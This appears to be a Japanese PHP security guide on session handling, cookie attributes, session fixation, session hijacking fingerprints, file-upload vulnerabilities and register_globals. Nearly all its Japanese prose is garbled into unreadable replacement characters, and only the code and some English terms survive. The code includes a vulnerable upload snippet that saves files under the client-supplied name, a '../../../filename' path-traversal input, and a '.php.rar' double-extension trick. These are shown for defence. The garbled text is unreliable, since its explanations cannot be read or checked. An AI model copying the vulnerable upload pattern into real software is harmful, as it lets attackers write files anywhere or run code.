�� 1. $_SESSION�ǥ��å������˴�����

<?php
// ���å����ν����
// session_name("something")����Ѥ��Ƥ�������äˤ����˺��ʤ��褦��!
session_start();

// ���å�����ѿ������Ʋ������
$_SESSION = array();

// ���å��������Ǥ���ˤϥ��å���󥯥å����������롣
// Note: ���å�����������Ǥʤ����å������˲����롣
if (isset($_COOKIE[session_name()])) {
    setcookie(session_name(), '', time()-42000, '/');
}

// �ǽ�Ū�ˡ����å������˲�����
session_destroy();
?> 

PHP �ޥ˥奢��: session_destroy

�ޤ���session.save_handler �˥ǥե���Ȥ� "files" �����ꤵ��Ƥ�����硢�����١��������쥯�����ˤ�äƺ�������ޤǥ��å�������Υե�����϶��ΤޤޤǻĤä��ޤޤˤʤ�ޤ����⤷�����å�����˴����줿���˺�����������ϡ��ʲ��Τ褦�ˤ���к����ǽ�Ǥ���

$session_id = session_id();
if ( preg_match( '/^[-,0-9a-fA-Z]+$/D', $session_id ) ) {
    $session_file = session_save_path() . '/sess_' . $session_id;
    if ( is_file( $session_file ) ) {
        unlink( $session_file );
    }
}
else {
    trigger_error( 'Session ID is invalid.', E_USER_ERROR );
    exit;
}

session_id() ���֤��ͤϳ�����������Ϥˤ��������ǽ�Ǥ��Τǡ�session_id() ���ͤ������̤꤫�ɤ������ǧ���Ƥ�����Ѥ��Ƥ����������嵭�Υ����ɤΤ褦�ˡ��������ͤξ��ϡ����顼�Ȥ��ƽ�����λ���������������Ǥ����ܤ����ϡ����å�����Ϣ�ν��������դ��٤������������ȥ�����ץƥ��������򻲾Ȥ��Ƥ���������

iii. ���å�����ͭ������

session.save_handler �� "files" �ˤʤäƤ����硢���å�����ͭ�����֤ϥ����١��������쥯�����ˤ�äơ���¸����Ƥ��륻�å�������Υե����뤬��������ޤǤ�ͭ�����֤ˤʤ�ޤ��������١��������쥯����󤬵�ư���������å����Υե����뤬�ĤäƤ�����ϡ��в���֤˴ط��ʤ����å�����ͭ���ˤʤä��ޤޤˤʤ�ޤ���

��Ψ���㤤�Ǥ�����session.gc_maxlifetime �����ꤵ�줿�ÿ���᤮�����å������ɤ߹��ߡ�Ʊ���˥����١��������쥯����󤬵�ư������硢���Υ��������ǤΥ��å����Ϸ�³���ޤ��������Υ��������Ǥϥ��å�����ڤ�ˤʤ�ޤ���

iv. �����١��������쥯�����

�����١��������쥯�����ϡ�session.gc_maxlifetime (�ǥե����: 1440��)�����ꤷ���ÿ���᤮�����å�������Υե�����������������Ԥ��ޤ������ν����ϡ����å���󳫻ϻ��� session.gc_probability (�ǥե����: 1) �� session.gc_divisor (�ǥե����: 100)�dz�ä���Ψ�ǵ�ư���ޤ���

php.ini ���ä����ꤷ�Ƥ��ʤ����ϡ�100 ʬ�� 1 �γ�Ψ�ǥ����١��������쥯����󤬵�ư���ޤ����ޤ���PHP 4.3.9 �� php.ini-recommended �򥳥ԡ����ơ�php.ini �Ȥ��ƻ��Ѥ�����硢1000 ʬ�� 1 �����ꤵ��Ƥ��ޤ���

�Ϥκǽ�� | �ܼ���

Cookie �ˤ� secure °���Ȥ���°�������ꤹ�뤳�Ȥ��Ǥ��ޤ���Cookie �� secure °�������ꤹ��ȡ��֥饦���ϡ�SSL ����Ѥ��� https �ˤ���̿����Τ� Cookie �����Ƥ���������http �̿����ˤ� Cookie �����Ƥ�����ʤ��褦�ˤʤ�ޤ���

���פʸĿ;���ʤɤ򰷤���硢https ��³��Ԥ����Ȥǡ������м��Τ�ǧ�ڤ��̿����ƤΰŹ沽��Ԥ����Ȥ��Ǥ��ޤ������̾�� http ��³��Ԥ����Ŀ;�������Ϥ�����Τߡ�https ��³��ԤäƤ��륵���Ȥ�¿���Ȼפ��ޤ������Τ褦�ʥ����Ȥǡ�https ��³�� http ��³��Ʊ�����å���� ID ����Ѥ��Ƥ��Ƥϡ��̿����Ƥ�Ź沽���Ƥ����̣������ޤ��󡣤ޤ����Ź沽����Ƥ��ʤ� http ���̿��ǥ��å���� ID ����İ����Ƥ��ޤä���硢�ʤꤹ�ޤ��ˤ�äƸĿ;�����ɤߤȤ��Ƥ��ޤ���ǽ��������ޤ���

��������ˤĤ��Ƥϡ�Cookie��İ�ˤ��Web���ץꥱ�������ϥ�����å��δ������Ȥ����к�(SecurIT - ���ȵ������縦��� �����奢�ץ�����ߥ󥰸��������) �䡢��ϩ�Υ������ƥ���Ʊ���˥����奢�ʥ��å���������(IPA)�Ǿܤ�������������ޤ���

�����������򤹤뤿��ˡ�https ����³����ݤˤ� Cookie �ˤ� secure °�����դ��� Cookie ��ȯ�Ԥ��ޤ���PHP 4.0.4 ���� Cookie �� secure °�����դ��뤳�Ȥ��Ǥ���褦�ˤʤäƤ��ޤ���

�ʲ��Τ褦�ˡ�Cookie �� secure °�����դ���ˤϤ����Ĥ���ˡ������ޤ���

���å���� ID �˴ؤ��Ƥϡ�����ȯ�Ԥ���Ƥ��� Cookie �� secure °�����ѹ����뤳�ȤϤǤ��ޤ��󡣤⤷������ɬ�פ�����ΤǤ���С����å���� ID ���ѹ�����secure °���դ��� Cookie ���ȯ�Ԥ���ɬ�פ�����ޤ���PHP �Ǥϡ�4.3.2 �ʹߤ�Ƴ�����줿 session_regenerate_id() ����Ѥ��뤳�Ȥǥ��å���� ID ���ѹ����뤳�Ȥ��Ǥ��ޤ������å���� ID ���ѹ���ˡ�ˤĤ��Ƥ� ���å���� ID ���ѹ����������ޤ���

�Ϥκǽ�� | �ܼ���

Cookie �ˤ� Path �����ꤹ�뤳�Ȥ��Ǥ��ޤ���Cookie Path �ϡ����ѥ����ФǤ�ɬ�����ꤷ�Ƥ���������

�㤨�С�Cookie Path �����ꤹ�뤳�Ȥǡ�

http://www.example.com/user1/

�ȡ�

http://www.example.com/user2/

�ǡ��̤Υ��å���� ID ����Ѥ��뤳�Ȥ���ǽ�Ǥ���Cookie Path �����ꤹ��ˤϡ�session_set_cookie_params() ����2������ Path ����ꤷ�����θ塢session_start() ��ƤӽФ��ޤ���

session_set_cookie_params( 1000, '/user1/' );
session_start();

Cookie Path �κǸ�Υ���å����˺�줺���դ��Ƥ����������֥饦���ϥǥ��쥯�ȥ�ѥ�����������פ��� Cookie ���������뤳�ȤˤʤäƤ��ޤ��Τǡ�/user1 �����ꤹ��ȡ�/user10 �Ǥ� /user1 �� Cookie ����������뤳�ȤˤʤäƤ��ޤ��ޤ���

�⤷��Cookie Path ����ꤷ�ʤ����ޤ��� / �ΤߤˤʤäƤ�����硢Cookie ��ȯ�Ԥ����ɥᥤ������ƤΥǥ��쥯�ȥ��Ʊ�� Cookie ���������뤳�Ȥˤʤ�ޤ������Τ��ᡢ���ѥ����Фǡ�Ʊ���ɥᥤ��(�����Ǥ� www.example.com)��ʣ���Υ桼�������Ѥ��Ƥ�����硢¾�ͤ��������Ƥ��� CGI ���Ф��Ƥ⥻�å���� ID ���������Ƥ��ޤ���ǽ�����⤯�ʤ�ޤ���

¾�ͤ��������Ƥ��� CGI �� Cookie �����Ƥ�Ͽ���Ƥ����Ȥ���ȡ���󥯤�Ǽ��Ĥؤν񤭹��ߤʤɤǡ�Cookie ��Ͽ���� CGI ��ͶƳ���뤳�Ȥ��Ǥ���С�Javascript �ʤɤ����Ѥ��ʤ��Ƥ��ñ�˥��å���� ID ����İ���뤳�Ȥ��Ǥ��ޤ���

��������ǰ�ʤ��Ȥˡ�Cookie Path �����������ꤷ�Ƥ⡢�����Υ֥饦���ǤϾ����ٹ��򤹤������ Cookie Path ���������򤹤뤳�Ȥ��Ǥ��ޤ����ܤ����ϡ�Multiple Browser Cookie Path Directory Traversal Vulnerability(2004.03.14 �β�����)�ˤޤȤ�Ƥ��ޤ��Τǡ�������򻲾Ȥ��Ƥ���������

Cookie Path ������ϡ��ȼ��ɥᥤ�����������ɥᥤ������ƤΥǥ��쥯�ȥ��������Ƥ�����֤Ǥ���С����ޤ굤�ˤ���ɬ�פϤ���ޤ���ȿ�Фˡ��ɥᥤ����Ѥ����硢���å�������İ���ɤ��Τ������񤷤��Ǥ������פʥǡ����򥻥å����ˤ�äƴ�������ɬ�פ�������ˤϡ�����Ǥ����ѤΥɥᥤ���������٤��Ǥ���

�Ϥκǽ�� | �ܼ���

e. ���å���� ID ���ѹ�

http �̿��Ǥϡ�Cookie ��Ź沽���줺�˥ͥåȥ����ή��뤿�ᡢƱ�����å���� ID ��Ĺ���ֻȤ�³����ȡ�¾�ͤ��Τ��Ƥ��ޤä��ꡢ��İ���줿�ꤹ����������⤯�ʤ�ޤ������Ū�˥��å���� ID ���ѹ����ȤǤ��δ��������㤯���뤳�Ȥ��Ǥ��ޤ���

�ޤ���e ���ޡ��������ȤʤɤΤ褦�ˡ�http �̿������Ϥ������å���������ݻ������ޤ� https �˰ܹԤ������Ȥ������Ȥ⤢�뤫�⤷��ޤ���Cookie �� secure °�����դ���ȯ�Ԥ����硢http �̿���Ʊ�����å���� ID �ϻ��ѤǤ��ޤ���Τǡ����å���� ID ���ѹ�����ɬ�פ�����ޤ���

PHP 4.3.2 �ʹߤǤ���С�session_regenerate_id() ����Ѥ��뤳�Ȥǥ��å���� ID ���ѹ����뤳�Ȥ��Ǥ��ޤ����Ȥ����ϡ��ʲ��Τ褦�� session_start() �θ�˸ƤӽФ������Ǥ���

session_start();
session_regenerate_id();

PHP 4.3.2 �ǥ��å���� ID �δ����� Cookie ����Ѥ��Ƥ�����ϡ��ѹ����줿���å���� ID ����������ʤ��Ȥ����Х�����𤵤�Ƥ��ޤ��Τǡ�PHP 4.3.2 ����Ѥ��Ƥ�����ϵ����դ��Ƥ�������([PHP-users 20127]Re: session_regenerate_id�ˤĤ���,PHP �ޥ˥奢��: session_regenerate_id() ��1������)��

PHP 4.3.1 �ʲ��Ǥ� session_regenerate_id() ����Ѥ��뤿������شؿ�����PHP �ޥ˥奢��: session_regenerate_id() �� User Contributed Notes �䡢PHP-users �᡼��󥰥ꥹ�Ȥ� [PHP-users 17602]Re: session_regenerate_id()�ε�ư�ˤĤ�������Ƥ���Ƥ��ޤ���

�ޤ���session_regenerate_id() �ϡ�������˻��Ѥ��Ƥ������å�������������ʤ����Ȥ����դ��Ƥ���������session_regenerate_id() �ϡ��������̤��ΰ�˥��å����������¸���ޤ��������Υǡ����������ʤ����ᡢ�Ť����å�������ϻĤä��ޤޤˤʤ�ޤ����Ť����å�������ϡ����Ѳ�ǽ�ʾ��֤ˤʤäƤ��ޤ��Τǡ�ñ��� session_regenerate_id() ��ƤӽФ����ɤ��Ȥ�����ΤǤϤ���ޤ���ɬ�פ˱����ưʲ��Τ褦���к���ԤäƤ���������

  1. �Ť����å������������Ū�˺��

  2. ���å�����ͭ������(session.gc_maxlifetime)��û�����������١��������쥯����󤬵�ư�����Ψ��夲��(session.gc_probability �� session.gc_divisor ���ͤ�Ĵ������)

2. �ϥ����١��������쥯���������ˤ˵�ư���뤳�Ȥˤʤ뤿�ᡢ��������٤��⤯�ʤ�Ȥ�������ȡ��桼��¦�ǥ��å�����ڤ줬������䤹���ʤ�Ȥ������꤬����ޤ������å�����ڤ���ǽ�ʸ¤���򤹤���ˡ�Ȥ��Ƥϡ����å���󡦥����ॢ���Ȥؤ��н��⻲�ͤˤ��Ƥ���������

1. �θŤ����å����������������ˡ�Ȥ��ơ�PHP 5.1.0 �ʹߤξ��ϡ�session_regenerate_id() ����1�����˥��ץ�������ꤵ��Ƥ��ޤ�������� TRUE �ˤ���ȡ����å��������������褦�ˤʤäƤ��ޤ���PHP 5.1.0 ����Ѥ��Ƥ�����ϡ�session_regenerate_id( TRUE ) ��¹Ԥ�������Ǽ�ưŪ�˸Ť����å���� ID �Ϻ������ޤ���

�ܤ����ϡ��ʲ��򻲾Ȥ��Ƥ���������

�⤷��PHP 5.1.0 ������ΥС������ǡ�session.save_handler �� "files" �Ǥ����硢�ʲ��Τ褦�ˤ��ޤ����⤷���ȼ��Υ��å����ϥ�ɥ����Ѥ��Ƥ�����ϡ�����˹�碌�Ƽ�����ԤäƤ���������

session_start();
$session_id = session_id();
session_regenerate_id();
if ( preg_match( '/^[-,0-9a-fA-Z]+$/D', $session_id ) ) {
    $session_file = session_save_path() . '/sess_' . $session_id;
    if ( is_file( $session_file ) ) {
        unlink( $session_file );
    }
}
else {
    trigger_error( 'Session ID is invalid.', E_USER_ERROR );
    exit;
}

���ա�session_id() �ˤ��������ͤ��ޤޤ�Ƥ����ǽ��������ޤ��Τǡ������ͤ���Ѥ���ݤϡ���������("/", "\", ">", "<"�ʤ�)���ޤޤ�Ƥ��ʤ���ɬ�������å���ԤäƤ����������嵭�Τ褦�ˡ��������ͤ��ޤޤ�Ƥ�����ϡ����顼�Ȥ��ƽ�λ�������������Ǥ���

�Ϥκǽ�� | �ܼ���

f. ���å���󡦥����ॢ���Ȥؤ��н�

session.maxlifetime �����ꤷ���ÿ��ʾ�λ��֡��桼������Υ����������ʤ���ǡ������١��������쥯�����ˤ�äƥ��å������󤬺������Ƥ��ޤä���硢���å���󡦥����ॢ���ȤȤʤ�ޤ����äˡ��桼���������ƥ�˥������󤷤����֤�¿���Υǡ��������Ϥ���ɬ�פ����ä���硢���å���󡦥����ॢ���Ȥ��������ǽ�����⤯�ʤ�ޤ��������н�Ȥ��ơ�session.maxlifetime ���ÿ������䤹�Ȥ�����ˡ�ϡ����å���� ID ��ϳ�̤����ä���硢���Ѥ������������⤯�ʤ�ޤ��Τǡ��ɤ���ˡ�ǤϤ���ޤ���

�桼��������ڡ�����֥饦���򳫤��Ƥ���֤ϡ��Ǥ���¤ꥻ�å������³��������ˡ�Ȥ��ơ��֥ϡ��ȥӡ��ȡפȤ�����ˡ������ޤ����ܤ����ϡ�IPA �����奢�ץ�����ߥ��������� 5�� �����奢VBScript/ASP�ץ�����ߥ� [5-3.] ���å���󥿥��ॢ�����򻲾Ȥ��Ƥ���������

PHP �Ǥϡ��ʲ��Τ褦�ʥ��å�����³�ѤΥե�������Ѱդ��ޤ������Υե�������ɤ߹��� frame �� iframe �򸫤��ʤ������֤���������֤��Ȥ˥����������뤳�Ȥǥ��å���󡦥����ॢ���Ȥ��ɤ��ޤ����㤨�С�session.maxlifetime �ϥǥե���Ȥ� 1440 �äˤʤäƤ��ޤ��Τǡ�1440 �ðʲ��δֳ֤ǥ���������Ԥ��Х��å���󡦥����ॢ���Ȥ��ɤ����Ȥ��Ǥ��ޤ���1200 �ä��Ȥ˥����Ф˥�����������ˤϰʲ��Τ褦�ˤ��ޤ���

<?php
session_start();
?>
<html>
<head>
<meta HTTP-EQUIV="Refresh" CONTENT="1200">
</head>
<body>
</body>
</html>

����ˤ�äơ�session.maxlifetime ��û�����Ƥ⡢���å���󡦥����ॢ���Ȥ��������ǽ�����㤯���뤳�Ȥ���ǽ�ˤʤ�ޤ����ޤ���session.maxlifetime ��û�����뤳�Ȥϡ�����桼���Υ��å���� ID ��ϳ�̤����Ȥ��Ƥ⡢�桼�����ﳲ��������ǽ�����㤯�ʤ�ޤ���

���ޤ�û�����֤ǥ����Ф˥���������Ԥ��ȥ�����¦����٤��⤯�ʤ�ޤ��Τǡ�Refresh ���ÿ��� session.maxlifetime ���ͤ�ɤ����٤ˤ��뤫��Ĵ����ɬ�פǤ���

�Ϥκǽ�� | �ܼ���

g. ���å�����Ϣ�ν��������դ��٤������������ȥ�����ץƥ�������

���å�������Ѥ���Ȥ��ˤϡ��ʲ������˵����դ��ʤ��ȡ������������ȥ�����ץƥ�������������������ǽ��������ޤ��Τǡ����դ��Ƥ���������

�Ϥκǽ�� | �ܼ���

h. ���å����ϥ�����å��к��ΰ���

���å����ϥ�����å��к�(2005.07.17 �β�����) �ΤޤȤ�ľ���Ǥ���

Question about session hijacking (DevNetwork Forums) �ε����ǡ�Web ���ץꥱ�������ؤΥ���������ˡ��֥饦���� User Agent �� Accept Charset �ʤɤ� HTTP �ꥯ�����ȥإå����ѹ�����褦�ʿͤϤۤȤ�ɤ��ʤ��Ȥ����������Ѥ��ơ��ʲ��Τ褦�ʴؿ����󤲤��Ƥ��ޤ���(���δؿ��ϥ��å����������饹����ǻ��Ѥ���뤳�Ȥ����ꤷ�Ƥ���褦�Ǥ��Τǡ����ΤޤޤǤϻȤ��ޤ���)��

// get the fingerprint of the user
function getFingerprint()
{
    $fingerprint = $this->secret;
    if (array_key_exists('HTTP_USER_AGENT', $_SERVER)) 
    {
        $fingerprint .= $_SERVER['HTTP_USER_AGENT'];
    }
    if (array_key_exists('HTTP_ACCEPT_CHARSET', $_SERVER))
    {
        $fingerprint .= $_SERVER['HTTP_ACCEPT_CHARSET'];
    }
    $fingerprint .= session_id();
    $fingerprint = md5($fingerprint);
    return $fingerprint;
}

�ե��󥬡��ץ��Ȥ���������㤦���ϥ����˽񤭹��ࡢ�ޤ��ϥ��顼��å��������֤��ʤɤ��н��Ԥ����Ȥǥ��å����ϥ�����å����ɻߤ���Ȥ����ͤ����Ǥ���������ˡ�Ǥϡ����å���� ID ����ޤ줿�Ȥ��Ƥ⡢�������� User Agent �� Accept Charset ��Ʊ���ˤ��ʤ���Х��å����ϥ�����å��Ȥ��Ƹ��Ф���ޤ��������� HTTP �ꥯ�����ȥإå��ξ���ޤǥ��˥åե��ʤɤ���İ���줿���Ϥ����к���̵��̣�Ǥ�����Javascript �ʤɤˤ�륻�å���� ID ����İ�Ǥ���и��ФǤ����ǽ�����⤯�ʤ�ޤ���

���å����ϥ�����å��к��Ȥ��Ƥϡ�IP ���ɥ쥹�����å���Ԥ����⤢��ޤ�����Proxy ����Ѥ��Ƥ���桼���ξ�硢IP ���ɥ쥹���ѹ����줿�ꡢ�̤Υ桼���Ƚ�ʣ���뤳�Ȥ�¿���Ȥ������꤬����ޤ���������Ф��ơ�User Agent �� Accept Charset �򥢥���������ѹ�����֥饦���Ͼ��ʤ��Ȼפ��ޤ���

������Ȥ��Ƥϰʲ��Τ褦�˥��å���󳫻ϻ��˥ե��󥬡��ץ��Ȥ�������������å����ޤ���

function get_fingerprint()
{
    // ����Ŭ������̩��ʸ����(������̾�䥢�ץꥱ�������̾�ʤɤǤ��ɤ��Ȼפ��ޤ�������¬�Ǥ��ʤ������ɤ��Ȼפ��ޤ�)
    $fingerprint = 'secret';

    if ( ! empty( $_SERVER['HTTP_USER_AGENT'] ) ) {
        $fingerprint .= $_SERVER['HTTP_USER_AGENT'];
    }
    if ( ! empty( $_SERVER['HTTP_ACCEPT_CHARSET'] ) ) {
        $fingerprint .= $_SERVER['HTTP_ACCEPT_CHARSET'];
    }
    $fingerprint .= session_id();
    return md5( $fingerprint );
}

// ���å����γ���
session_start();

if ( ! isset( $_SESSION['fingerprint'] ) ) {
    // �ȥåץڡ���(��������ڡ����ذ�ư)
    exit;
}

$fingerprint = get_fingerprint();
if ( $fingerprint !== $_SESSION['fingerprint'] ) {
    // ���å����ϥ�����å��򸡽�
    // �����ν񤭽Ф������顼����
    exit;
}
// �ե��󥬡��ץ��Ȥ򥻥å�������Ͽ
$_SESSION['fingerprint'] = $fingerprint;

// ³���ν���

(2006.06.20 ����)

�嵭�Υ����ɤΰ������ְ㤨�Ƥ����Τǽ������ޤ���($_SERVER['fingerprint'] => $_SESSION['fingerprint'])����Ŧ���Ƥ������ä������ɤ��⤢�꤬�Ȥ��������ޤ�����

���å���󳫻ϻ��˥ե��󥬡��ץ��Ȥμ����Ȱ��פ��뤫��ɾ����Ԥ������Ǥ��Τǡ�������ˡ�Ǥ���С����˺����Ѥߤ� Web ���ץꥱ���������Ȥ߹���Τ��ñ�Ǥ�����̩�˥��å����ϥ�����å����ɻߤ���ΤϺ���Ǥ�������ñ�ʥ��å����ϥ�����å��к��ΰ�ĤȤ��Ƥ�ͭ�����⤷��ޤ���

�Ϥκǽ�� | �ܼ���

i. Session Fixation(���������)����

�����ʥ桼�������Ѥ��륻�å���� ID �򹶷�Ԥ����ꤹ�뤳�Ȥˤ�ꡢ����Ԥ˥��å���� ID ���Τ�줿���֤ˤʤäƤ��ޤ�����Ǥ��������ʥ桼��������Ԥ����ꤷ�����å���� ID �Τޤޡ�Web ���ץꥱ�������˥������󤷤���硢����Ԥ�������󤷤����֤ˤʤꡢ�Ŀ;������߸���줿�ꡢ�ǡ�����񤭴�������ʤɡ����ˤ�äƤϴ��������򤵤���ǽ��������ޤ���

(2006.08.31 ����) �ʲ��ε��Ҥϴְ�äƤ��ޤ���������Ǥ� Session Fixation ���н褷�����ȤˤϤʤ�ޤ��󡣻�Ŧ�����������ä��⾲���󡢤ɤ��⤢�꤬�Ȥ��������ޤ�����

����������ñ�˲�褹����ˡ�Ȥ��Ƥϡ�session_regenerate_id() ����Ѥ�����ˡ������ޤ����㤨�С��ʲ��Τ褦�ˡ�session_start() ��¹Ԥ����塢���å�����ѿ������ꤵ��Ƥ��ʤ���硢session_regenerate_id() ��¹Ԥ��ޤ���

<?php
session_start();
if ( ! isset( $_SESSION['initiated'] ) ) {
    session_regenerate_id();
    $_SESSION['initiated'] = true;
}
?>

Session Fixation(PHP Security Guide: Sessions) �����ѡ�

(2006.08.31 �ɲ�)

�嵭����ˡ�Ǥϡ���˹���Ԥ������оݤΥ����Фǥ��å�����ȯ�Ԥ������������������å���� ID �򤽤Υ����Ф������ʥ桼���˻��ꤷ�ƥ����Ф�ͶƳ���뤳�Ȥǡ�Session Fixation ���⤬��ǽ�Ǥ���

�����н���ˡ�Ȥ��Ƥϡ��ʲ�����ˡ���ͤ����ޤ���

�ޤ����ʲ����к���Ԥ����ȤǤ⡢Session Fixation ����β�ǽ�����㤯���뤳�Ȥ���ǽ�Ǥ����嵭���Ȥ߹�碌�뤳�Ȥǡ��������ʥ��å���������Ԥ����Ȥ��Ǥ��뤫�⤷��ޤ���

i. Session Fixation ����򵯤�����ˡ

����н���ˡ����Ѥ���� PHP �Ǥ� Session Fixation ����ϲ���Ǥ���ȹͤ����ޤ�����Session Fixation ����������ˤĤ��ƹͤ��Ƥߤޤ�������¬�ǽ񤤤Ƥ�����ʬ������ޤ��Τǡ��ְ㤤�����뤫�⤷��ޤ��󡣻������٤Ȥ������Ȥˤ��Ƥ���������

ii. ���ͥ�����

�Ϥκǽ�� | �ܼ���

j. ���ͥ�����

�Ϥκǽ�� | �ܼ���

�� �ܼ���


�ե����륢�åץ����ɤˤĤ���

  1. PHP �ǤΥե����륢�åץ����ɽ���
  2. .php �Ǥʤ���ĥ�ҤǤ� PHP ���¹Ԥ��������
  3. PHP 4.3.8 ������Ǥ�դξ��˥ե�����򥢥åץ����ɤ�����ǽ������������
  4. PHP 4.1.1 �����ΥС������˥ե����륢�åץ����ɽ����˥������ƥ��ۡ��뤬��������

a. PHP �ǤΥե����륢�åץ����ɽ���

PHP �Ǥϡ���ñ�˥��åץ����ɤ��줿�ե�����򰷤�����ε�ǽ���󶡤���Ƥ��ޤ����ե����륢�åץ����ɽ�����Ԥ��ݤˤϡ�PHP �ޥ˥奢��: �ե����륢�åץ����ɤν�����ɬ���ɤ�褦�ˤ��Ƥ���������

����Ū�ʥե����륢�åץ����ɽ����Ȥ��Ƥ� $_FILES ���������Ѥ��� is_uploaded_file() �ǥ��åץ����ɤ��줿����ե����뤬���������ɤ������ǧ����move_uploaded_file() ��Ǥ�դΥǥ��쥯�ȥ�˰�ư�����뤳�Ȥǥե����륢�åץ����ɤ�Ԥ��ޤ���

��������PHP 4.3.8 �����Ǥ� PHP �ޥ˥奢�����Τޤ޽�����ԤäƤ�����硢Ǥ�դξ��˥ե�����򥢥åץ����ɤ�����ǽ���Τ������꤬��𤵤�Ƥ��ޤ���

�Ϥκǽ�� | �ܼ���

b. .php �Ǥʤ���ĥ�ҤǤ� PHP ���¹Ԥ��������

[Full-disclosure] Bug with .php extension? �ǻ�Ŧ����Ƥ����ΤǤ����������о�� test.php.rar �Ȥ��� PHP �Υ����ɤ��񤫤줿�ե����뤬¸�ߤ��Ƥ��ơ�http://www.example.com/test.php.rar �Τ褦�˥����������줿��硢����������ɤ����ΤǤϤʤ���PHP �Υ����ɤȤ��Ƽ¹Ԥ���Ƥ��ޤ��Ȥ�������Ǥ���

����ϡ�Apache �� mod_mime �λ���(Apache mod_mime �⥸�塼��: ʣ���γ�ĥ�ҤΤ���ե�����)�������Ǥ���

PHP �Ǥϡ��ե����륢�åץ����ɤ�����դ��륹����ץȤǡ��ե�����̾�򤽤Τޤ���¸�����硢Ǥ�դ� PHP ������ץȤ��¹Ԥ���Ƥ��ޤ���ǽ��������ޤ����ʲ������Ƥ˳���������ϴ����Ǥ���

  1. �ե����륢�åץ����ɤ�����դ��Ƥ���

  2. �ե����륢�åץ����ɻ��˻��ꤵ�줿�ե�����̾�Τޤ���¸���Ƥ���

  3. ���Υե������ľ�ܥ�����������Ĥ��Ƥ���

����������н���ˡ�Ȥ��Ƥϡ����åץ����ɤ��줿�ե�������¸���˥����ॹ����פ� sha1() �ʤɤΥϥå���ؿ��ʤɤˤ�ꡢ�ե�����̾���ѹ�������ˡ������ޤ���

�̾CGI �ϼ¹Ը��¤�ɬ�פǤ�����PHP �� Apache �⥸�塼��Ǽ¹Ԥ���Ƥ����硢�¹Ը��¤����פʤ��ᡢ��ĥ�Ҥ򵶤ä� PHP ������ץȤ򥢥åץ����ɤ��줿���˹��⤬�������Ƥ��ޤ���ǽ�����⤤�ȹͤ����ޤ��Τǡ��ե����륢�åץ����ɤ�����դ��Ƥ���������դ��Ƥ���������

�Ϥκǽ�� | �ܼ���

c. PHP 4.3.8 ������Ǥ�դξ��˥ե�����򥢥åץ����ɤ�����ǽ������������

�ե����륢�åץ����ɻ��Υ������ƥ��ۡ���Ȥ��ơ��ʲ���2�Ĥ����꤬��𤵤�Ƥ��ޤ����ܺ٤ˤĤ��Ƥϡ��ʲ��Υڡ����ǤޤȤ�Ƥ��ޤ��Τǡ�������򻲾Ȥ��Ƥ���������

PHP 4.3.6 �����Ǥϡ�$_FILES['form_name']['name'] �ˡ�.. ��ޤ�뤳�Ȥ���ǽ�Ǥ��ꡢPHP 4.3.7 �� .. ���ޤޤ�Ƥ������Ϻ�������褦�˽������줿�ΤǤ������̤�����ˤ�ꡢPHP 4.3.6 ������Ʊ���褦�ˡ�$_FILES['form_name']['name'] �� .. ��ޤ�뤳�Ȥ���ǽ�ˤʤäƤ��ޤ��Ȥ�������Ǥ���

��������ϡ�$_FILES['form_name']['name'] �� .. ���ޤޤ줿��硢PHP �ޥ˥奢��˽񤫤�Ƥ�������ץ��̤�˽������Ԥ��Ƥ�����硢httpd �˽񤭹��߸��¤�����Ǥ�դΥǥ��쥯�ȥ�˥ե�����򥢥åץ����ɤ���Ƥ��ޤ���ǽ��������ޤ���

���˱Ѹ��Ǥ� PHP �ޥ˥奢��ǤϽ�������Ƥ��ޤ������ʲ����㤬������Ƥ��ޤ�������������̤�˥ե�����Υ��åץ����ɽ�����ԤäƤ�����硢����ˤʤ�ޤ��������ߤϽ�������Ƥ��ޤ���

�� 20-2. �ե�����Υ��åץ����ɤ򸡾ڤ���

...

$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir. $_FILES['userfile']['name'];

print "<pre>";
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
   print "File is valid, and was successfully uploaded. ";
   print "Here's some more debugging info:\n";
   print_r($_FILES);
} else {
   print "�ե����륢�åץ����ɹ���򤵤줿��ǽ��������ޤ����ǥХå���Ϣ����:\n";
   print_r($_FILES);
}

?>

PHP �ޥ˥奢��: �ե����륢�åץ����ɤν���

������ǡ�$_FILES['userfile']['name'] �ˡ�../../../filename �Ȥ������ǡ�.. ���ޤޤ줿�ѿ������Ϥ��줿��硢���Υǥ��쥯�ȥ�˽񤭹��ย�¤�����С��ե����륢�åץ����ɤ��������Ƥ��ޤ��ޤ���

����������Ф����к��Ȥ��ơ�basename() ����Ѥ�����ˡ���󤲤��Ƥ��ꡢPHP �ޥ˥奢��αѸ��ǤǤϡ����˰ʲ��Τ褦�˽�������Ƥ��ޤ���

$uploadfile = $uploaddir. basename($_FILES['userfile']['name']);

basename() ����Ѥ���ʳ��ˤ⡢$_FILES['form_name']['name'] �򤽤Τޤ޻��Ѥ���������ɽ���Ǵ����̤��ʸ����ǹ�������Ƥ��뤫�ɤ���������å�����褦�ˤ��Ƥ����ꤢ��ޤ���

�Ϥκǽ�� | �ܼ���

d. PHP 4.1.1 �����ΥС������˥ե����륢�åץ����ɽ����˥������ƥ��ۡ��뤬��������

PHP 4.1.1 �����ˤϡ��ʲ��Τ褦�ˡ��ե����륢�åץ����ɽ��������˴����ʥ������ƥ��ۡ��뤬¸�ߤ��ޤ���

��������� PHP ������ץ�¦�Ǥ��н�Ǥ��ޤ������꤬��������Ƥ��ʤ��С������ϻ��Ѥ��ʤ��Ǥ���������

�Ϥκǽ�� | �ܼ���

�� �ܼ���


register_globals �˴ؤ�������

  1. register_globals �ˤĤ���
  2. register_globals �� On �δĶ��Ǥ� Off ��Ʊ�ͤξ��֤ˤ�����ˡ
  3. $GLOBALS �ѿ��˴ؤ��륻�����ƥ�����

a. register_globals �ˤĤ���

register_globals �� On �ˤʤäƤ����硢�֥饦�����������ä� GET��POST��Cookie �ʤɤ��ѿ���ưŪ�˥������Х��ѿ�����Ͽ���ޤ�����������register_globals �ϥ������Х��ѿ����������꤫�� Off �ˤ��뤳�Ȥ��侩���졢PHP 4.2.0 �ʹߤǤϥǥե���Ȥ� Off �ˤʤäƤ��ޤ���

register_globals �������ˤĤ��Ƥϡ�PHP �ޥ˥奢��: �������Х��ѿ�����Ͽ��ǽ�λ���ˡ�򻲾Ȥ��Ƥ���������

�Ϥκǽ�� | �ܼ���

b. register_globals �� On �δĶ��Ǥ� Off ��Ʊ�ͤξ��֤ˤ�����ˡ

